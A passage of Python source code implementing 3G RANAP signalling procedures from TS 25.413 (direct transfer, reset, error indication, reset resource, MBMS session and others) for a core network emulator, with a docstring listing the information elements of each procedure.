err:\n                # error cause: protocol, message-not-compatible-with-receiver-state\n                self.errcause = ('Protocol', 99)\n        #\n        if not self.errcause:\n            # update mobility state\n            if self.Iu.DOM == 'CS':\n                self.Iu.MM.state = 'ACTIVE'\n            else:\n                self.Iu.GMM.state = 'ACTIVE'\n            # update UE location\n            self.UE.set_lai(*self.UEInfo['LAI'])\n            if 'RAC' in self.UEInfo:\n                self.UE.set_rac(self.UEInfo['RAC'])\n            # process the NAS PDU, and get a list (potentially empty) of new\n            # RANAP procedures to be run\n            self._ret = self.Iu.process_nas(self.UEInfo['NAS_PDU'])\n    \n    def trigger(self):\n        return self._ret\n\n\nclass RANAPDirectTransferCN(RANAPSigProc):\n    \"\"\"Direct Transfer: TS 25.413, section 8.23\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 15: LAI (O)\n      - 16: NAS_PDU (M)\n      - 55: RAC (O)\n      - 58: SAI (O)\n      - 59: SAPI (O)\n      Extensions:\n      - 128: RedirectionCompleted (O)\n      - 129: RedirectionIndication (O)\n      - 202: SubscriberProfileIDforRFP (O)\n      - 241: TransportLayerAddress (O)\n      - 273: TransportLayerAddress (O)\n      - 275: LHN_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.directTransfer\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    send = RANAPSigProc._send\n\n\nclass RANAPDirectTransferRNC(RANAPSigProc):\n    \"\"\"Direct Transfer: TS 25.413, section 8.23\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 15: LAI (O)\n      - 16: NAS_PDU (M)\n      - 55: RAC (O)\n      - 58: SAI (O)\n      - 59: SAPI (O)\n      Extensions:\n      - 128: RedirectionCompleted (O)\n      - 129: RedirectionIndication (O)\n      - 202: SubscriberProfileIDforRFP (O)\n      - 241: TransportLayerAddress (O)\n      - 273: TransportLayerAddress (O)\n      - 275: LHN_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.directTransfer\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({\n            'LAI' : lambda x: (plmn_buf_to_str(x['pLMNidentity']),\n                               bytes_to_uint(x['lAC'], 16)),\n            'RAC' : lambda x: bytes_to_uint(x, 8),\n            'SAI' : lambda x: (plmn_buf_to_str(x['pLMNidentity']),\n                               bytes_to_uint(x['lAC'], 16),\n                               bytes_to_uint(x['sAC'], 16))},\n            {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        if not self.errcause:\n            # verification against HNBd parameters and HNBAP / RUA infos:\n            err = False\n            if 'LAI' in self.UEInfo:\n                if self.UEInfo['LAI'] != (self.RNC.Config['PLMNidentity'], \n                                          self.RNC.Config['LAC']):\n                    self._log('WNG', 'invalid LAI, %s.%.4x' % self.UEInfo['LAC'])\n                    err = True\n                else:\n                    # update UE location\n                    self.UE.set_lai(*self.UEInfo['LAI'])\n            if 'RAC' in self.UEInfo:\n                if self.UEInfo['RAC'] != self.RNC.Config['RAC']:\n                    self._log('WNG', 'invalid RAC, %.2x' % self.UEInfo['RAC'])\n                    err = True\n                else:\n                    # update UE RAC\n                    self.UE.set_rac(self.UEInfo['RAC'])\n            if 'SAI' in self.UEInfo and \\\n            self.UEInfo['SAI'][2] != self.RNC.Config['SAC']:\n                self._log('WNG', 'invalid SAC, %.2x' % self.UEInfo['SAI'][2])\n                err = True\n            if err:\n                # this means the RNC changed its loc config without prior informing the CN\n                # error cause: protocol, message-not-compatible-with-receiver-state\n                self.errcause = ('Protocol', 99)\n        #\n        if not self.errcause:\n            # process the NAS PDU, and get a list (potentially empty) of new\n            # RANAP procedures to be triggered\n            self._ret = self.Iu.process_nas(self.UEInfo['NAS_PDU'])\n    \n    def trigger(self):\n        return self._ret\n\n\nclass RANAPOverloadControlCN(RANAPConlessSigProc):\n    \"\"\"Overload Control: TS 25.413, section 8.25\n    \n    CN-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 18: NumberOfSteps (O)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 3: CN_DomainIndicator (O)\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n      - 245: Priority_Class_Indicator (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.overloadControl\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPOverloadControlRNC(RANAPConlessSigProc):\n    \"\"\"Overload Control: TS 25.413, section 8.25\n    \n    RNC-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 18: NumberOfSteps (O)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 3: CN_DomainIndicator (O)\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n      - 245: Priority_Class_Indicator (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.overloadControl\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPResetCN(RANAPConlessSigProc):\n    \"\"\"Reset: TS 25.413, section 8.26\n    \n    CN-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 4: Cause (M)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    SuccessfulOutcome:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 9: CriticalityDiagnostics (O)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.reset\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    send = RANAPConlessSigProc._send\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        try:\n            del self.RNC.ProcRanap[self.Code]\n        except Exception:\n            pass\n        if not self.errcause:\n            self._log('INF', 'success')\n\n\nclass RANAPResetRNC(RANAPConlessSigProc):\n    \"\"\"Reset: TS 25.413, section 8.26\n    \n    RNC-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 4: Cause (M)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    SuccessfulOutcome:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 9: CriticalityDiagnostics (O)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.reset\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    def recv(self, pdu):\n        # recv the reset indication\n        self._recv(pdu)\n        if not self.errcause:\n            self._log('INF', 'cause %r' % (self.RNCInfo['Cause'], ))\n            # reset all UE connections handled by the RNC handler in the core network \n            # domain indicated\n            if self.RNCInfo['CN_DomainIndicator'] == 'ps-domain':\n                for ue in self.RNC.UE_IuPS.values():\n                    ue.IuPS.unset_ran()\n                    ue.IuPS.unset_ctx()\n                self.RNC.UE_IuPS.clear()\n            else:\n                for ue in self.UE_IuCS.values():\n                    ue.IuCS.unset_ran()\n                    ue.IuCS.unset_ctx()\n                self.UE_IuCS.clear()\n    \n    def send(self):\n        # copy requested IEs in response\n        IEs['CN_DomainIndicator'] = self.RNCInfo['CN_DomainIndicator']\n        if 'GlobalRNC_ID' in self.RNCInfo:\n            IEs['GlobalRNC_ID'] = self.RNCInfo['GlobalRNC_ID']\n        if 'GlobalCN_ID' in self.RNCInfo:\n            IEs['GlobalCN_ID'] = self.RNCInfo['GlobalCN_ID']\n        if 'ExtendedRNC_ID' in self.RNCInfo:\n            IEs['ExtendedRNC_ID'] = self.RNCInfo['ExtendedRNC_ID']\n        self.encode_pdu('suc', **IEs)\n        return self._send()\n\n\nclass RANAPErrorIndConlessCN(RANAPConlessSigProc):\n    \"\"\"Error Indication: TS 25.413, section 8.27\n    \n    CN-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (O)\n      - 4: Cause (O)\n      - 9: CriticalityDiagnostics (O)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.errorIndication\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    errcause = None\n    \n    def recv(self, pdu):\n        if self.TRACK_PDU:\n            self._pdu.append( (time(), 'UL', pdu) )\n    \n    send = RANAPConlessSigProc._send\n\n\nclass RANAPErrorIndConlessRNC(RANAPConlessSigProc):\n    \"\"\"Error Indication: TS 25.413, section 8.27\n    \n    RNC-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (O)\n      - 4: Cause (O)\n      - 9: CriticalityDiagnostics (O)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.errorIndication\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        if not self.errcause:\n            self._log('WNG', 'error ind received: %s.%i' % (self.RNCInfo['Cause'], ))\n            # if it corresponds to a previously CN-initiated class 1 procedure\n            # abort it\n            try:\n                self.RNC.ProcRanap[self.RNC.ProcRanapLast].abort()\n            except Exception:\n                pass\n\n\nclass RANAPErrorIndCN(RANAPSigProc):\n    \"\"\"Error Indication: TS 25.413, section 8.27\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (O)\n      - 4: Cause (O)\n      - 9: CriticalityDiagnostics (O)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.errorIndication\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    errcause = None\n    \n    def recv(self, pdu):\n        if self.TRACK_PDU:\n            self._pdu.append( (time(), 'UL', pdu) )\n    \n    send = RANAPSigProc._send\n\n\nclass RANAPErrorIndRNC(RANAPSigProc):\n    \"\"\"Error Indication: TS 25.413, section 8.27\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (O)\n      - 4: Cause (O)\n      - 9: CriticalityDiagnostics (O)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.errorIndication\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        if not self.errcause is None and 'Cause' in self.UEInfo:\n            self._log('WNG', 'error ind received: %s.%i' % self.UEInfo['Cause'])\n            # if it corresponds to a previously CN-initiated class 1 procedure\n            # abort it\n            try:\n                self.Iu.Proc[self.Iu.ProcLast].abort()\n            except Exception:\n                pass\n\n\nclass RANAPCNDeactivateTrace(RANAPSigProc):\n    \"\"\"CN Deactivate Trace: TS 25.413, section 8.28\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 65: TraceReference (M)\n      - 68: TriggerID (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.cN_DeactivateTrace\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    def send(self):\n        try:\n            tracerefl = '0x%s' % hexlify(self.TraceReference)\n        except Exception:\n            tracerefl = repr(self.TraceReference)\n        self._log('INF', 'sent with trace reference %s' % tracerefl)\n        return self._send()\n\n\nclass RANAPResetResourceCN(RANAPConlessSigProc):\n    \"\"\"Reset Resource: TS 25.413, section 8.29\n    \n    CN-initiated\n    request-response\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 4: Cause (M)\n      - 77: ResetResourceList (M)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    SuccessfulOutcome:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 9: CriticalityDiagnostics (O)\n      - 77: ResetResourceAckList (M)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.resetResource\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    send = RANAPConlessSigProc._send\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        try:\n            del self.RNC.ProcRanap[self.Code]\n        except Exception:\n            pass\n        if not self.errcause:\n            self._log('INF', 'success')\n\n\nclass RANAPResetResourceRNC(RANAPConlessSigProc):\n    \"\"\"Reset Resource: TS 25.413, section 8.29\n    \n    RNC-initiated\n    request-response\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 4: Cause (M)\n      - 77: ResetResourceList (M)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    SuccessfulOutcome:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 9: CriticalityDiagnostics (O)\n      - 77: ResetResourceAckList (M)\n      - 86: GlobalRNC_ID (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.resetResource\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        if not self.errcause:\n            self._log('INF', 'cause %r' % (self.RNCInfo['Cause'], ))\n            RResList, RResIds = self.RNCInfo['ResetResourceList'], []\n            try:\n                # we expect a single prot container (TODO: to be confirmed)\n                assert(len(RResList) == 1)\n                RResList = RReslist[0]\n                for RRes in RResList:\n                    RResIds.append(RRes['value'][1]['iuSigConId'][0])\n            except Exception:\n                self._log('WNG', 'unexpected formatting of ResetResourceList')\n            #\n            # reset all UE connections handled by the RNC handler self.RNC in the\n            # core network domain indicated\n            if self.RNCInfo['CN_DomainIndicator'] == 'ps-domain':\n                for rres in RResIds:\n                    try:\n                        ue = self.RNC.UE_IuPS[rres]\n                    except Exception:\n                        pass\n                    else:\n                        ue.IuPS.SM.pdp_suspend()\n                        if ue.IuPS.GMM.state != 'INACTIVE':\n                            ue.IuPS.GMM.state = 'IDLE'\n                        ue.IuPS.unset_ran()\n                        ue.IuPS.unset_ctx()\n                        del self.RNC.UE_IuPS[rres]\n            else:\n                for rres in RResIds:\n                    try:\n                        ue = self.RNC.UE_IuCS[rres]\n                    except Exception:\n                        pass\n                    else:\n                        if ue.IuCS.MM.state != 'INACTIVE':\n                            ue.IuCS.MM.state = 'IDLE'\n                        ue.IuCS.unset_ran()\n                        ue.IuCS.unset_ctx()\n                        del self.RNC.UE_IuCS[rres]\n            self.RResIds = RResIds\n      \n    def send(self):\n        if self.errcause:\n            # no unsuccesful outcome possible, send an error ind\n            Proc = self.RNC.init_ranap_proc(RANAPErrorIndConlessCN, Cause=self.errcause)\n            if Proc:\n                return Proc.send()\n            else:\n                return []\n        else:\n            # prepare response IEs\n            IEs = {'CN_DomainIndicator': self.RNCInfo['CN_DomainIndicator']}\n            if 'GlobalRNC_ID' in self.RNCInfo:\n                IEs['GlobalRNC_ID'] = self.RNCInfo['GlobalRNC_ID']\n            if 'GlobalCN_ID' in self.RNCInfo:\n                IEs['GlobalCN_ID'] = self.RNCInfo['GlobalCN_ID']\n            if 'ExtendedRNC_ID' in self.RNCInfo:\n                IEs['ExtendedRNC_ID'] = self.RNCInfo['ExtendedRNC_ID']\n            RResAck = []\n            IEs['ResetResourceAckList'] = [RResAck]\n            for rres in self.RResIds:\n                RResAck.append({'id': 78, 'criticality': 'reject',\n                                'value': ('ResetResourceItem', {'iuSigConId': (rres, 24)})})\n            self.encode_pdu('suc', **IEs)\n            return self._send()\n\n\nclass RANAPRABModificationRequest(RANAPSigProc):\n    \"\"\"RAB Modification Request: TS 25.413, section 8.30\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 91: RAB_ModifyList (M)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.rAB_ModifyRequest\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPLocationRelatedData(RANAPSigProc):\n    \"\"\"Location Related Data: TS 25.413, section 8.31\n    \n    CN-initiated\n    request-accept, request-reject\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 95: LocationRelatedDataRequestType (O)\n      Extensions:\n      - 115: LocationRelatedDataRequestTypeSpecificToGERANIuMode (O)\n      - 185: RequestedGANSSAssistanceData (C)\n    SuccessfulOutcome:\n      IEs:\n      - 94: BroadcastAssistanceDataDecipheringKeys (O)\n      Extensions:\n      - 9: CriticalityDiagnostics (O)\n      - 186: BroadcastAssistanceDataDecipheringKeys (O)\n    UnsuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      Extensions:\n      - 9: CriticalityDiagnostics (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.locationRelatedData\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    send = RANAPSigProc._send\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        try:\n            del self.Iu.Proc[self.Code]\n        except Exception:\n            pass\n        #\n        if self.errcause:\n            self.success = False\n        elif pdu[0] == 'unsuccessfulOutcome':\n            self.success = False\n            try:\n                self._log('WNG', 'failure, rejected with cause %r' % (self.UEInfo['Cause'], ))\n            except Exception:\n                self._log('WNG', 'failure, rejected without cause')\n        else:\n            self.success = True\n            self._log('INF', 'success')\n            # TODO: do something with the returned info\n\n\nclass RANAPInformationTransfer(RANAPConlessSigProc):\n    \"\"\"Information Transfer: TS 25.413, section 8.32\n    \n    CN-initiated\n    request-accept, request-reject\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 96: GlobalCN_ID (O)\n      - 104: InformationTransferID (M)\n      - 106: ProvidedData (M)\n      Extensions:\n        None\n    SuccessfulOutcome:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 9: CriticalityDiagnostics (O)\n      - 86: GlobalRNC_ID (M)\n      - 104: InformationTransferID (M)\n      Extensions:\n      - 171: ExtendedRNC_ID (O)\n    UnsuccessfulOutcome:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      - 86: GlobalRNC_ID (M)\n      - 104: InformationTransferID (M)\n      Extensions:\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.informationTransfer\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # not implemented\n\n\nclass RANAPUESpecificInformation(RANAPSigProc):\n    \"\"\"UE Specific Information: TS 25.413, section 8.33\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 118: UESBI_Iu (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.uESpecificInformation\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPDirectInformationTransferCN(RANAPConlessSigProc):\n    \"\"\"Direct Information Transfer: TS 25.413, section 8.34\n    \n    CN-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 86: GlobalRNC_ID (O)\n      - 96: GlobalCN_ID (O)\n      - 126: InterSystemInformationTransferType (O)\n      Extensions:\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.directInformationTransfer\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPDirectInformationTransferRNC(RANAPConlessSigProc):\n    \"\"\"Direct Information Transfer: TS 25.413, section 8.34\n    \n    RNC-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 86: GlobalRNC_ID (O)\n      - 96: GlobalCN_ID (O)\n      - 126: InterSystemInformationTransferType (O)\n      Extensions:\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.directInformationTransfer\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPUplinkInformationTransfer(RANAPConlessSigProc):\n    \"\"\"Uplink Information Transfer: TS 25.413, section 8.35\n    \n    RNC-initiated\n    request-accept, request-reject\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 86: GlobalRNC_ID (M)\n      - 123: InformationTransferType (C)\n      - 136: InformationExchangeID (M)\n      - 137: InformationExchangeType (M)\n      - 139: InformationRequestType (C)\n      Extensions:\n      - 171: ExtendedRNC_ID (O)\n    SuccessfulOutcome:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 9: CriticalityDiagnostics (O)\n      - 96: GlobalCN_ID (O)\n      - 136: InformationExchangeID (M)\n      - 138: InformationRequested (O)\n      Extensions:\n        None\n    UnsuccessfulOutcome:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      - 96: GlobalCN_ID (O)\n      - 136: InformationExchangeID (M)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.uplinkInformationExchange\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # not implemented\n\n\nclass RANAPMBSMSessionStart(RANAPSigProc):\n    \"\"\"MBMS Session Start: TS 25.413, section 8.36\n    \n    CN-initiated\n    request-accept, request-reject\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 79: IuSignallingConnectionIdentifier (M)\n      - 96: GlobalCN_ID (O)\n      - 135: FrequenceLayerConvergenceFlag (O)\n      - 143: MBMSBearerServiceType (M)\n      - 145: MBMSServiceArea (M)\n      - 146: MBMSSessionDuration (M)\n      - 147: MBMSSessionIdentity (O)\n      - 148: PDP_TypeInformation (O)\n      - 149: RAB_Parameters (M)\n      - 150: RAListofIdleModeUEs (O)\n      - 153: TMGI (M)\n      - 157: MBMSSessionRepetitionNumber (O)\n      - 163: TimeToMBMSDataTransfer (M)\n      Extensions:\n      - 169: MBMSCountingInformation (O)\n      - 201: MBMSSynchronisationInformation (O)\n      - 238: PDP_TypeInformation_extension (O)\n      - 276: Session_Re_establishment_Indicator (O)\n    SuccessfulOutcome:\n      IEs:\n      - 4: Cause (O)\n      - 9: CriticalityDiagnostics (O)\n      - 154: TransportLayerInformation (O)\n      Extensions:\n        None\n    UnsuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.mBMSSessionStart\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # not implemented\n\n\nclass RANAPMBMSSessionUpdate(RANAPSigProc):\n    \"\"\"MBMS Session Update: TS 25.413, section 8.37\n    \n    CN-initiated\n    request-accept, request-reject\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 134: DeltaRAListofIdleModeUEs (M)\n      - 152: SessionUpdateID (M)\n      Extensions:\n        None\n    SuccessfulOutcome:\n      IEs:\n      - 4: Cause (O)\n      - 9: CriticalityDiagnostics (O)\n      - 152: SessionUpdateID (M)\n      - 154: TransportLayerInformation (O)\n      Extensions:\n        None\n    UnsuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      - 152: SessionUpdateID (M)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.mBMSSessionUpdate\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # not implemented\n\n\nclass RANAPMBMSSessionStop(RANAPSigProc):\n    \"\"\"MBMS Session Stop: TS 25.413, section 8.38\n    \n    CN-initiated\n   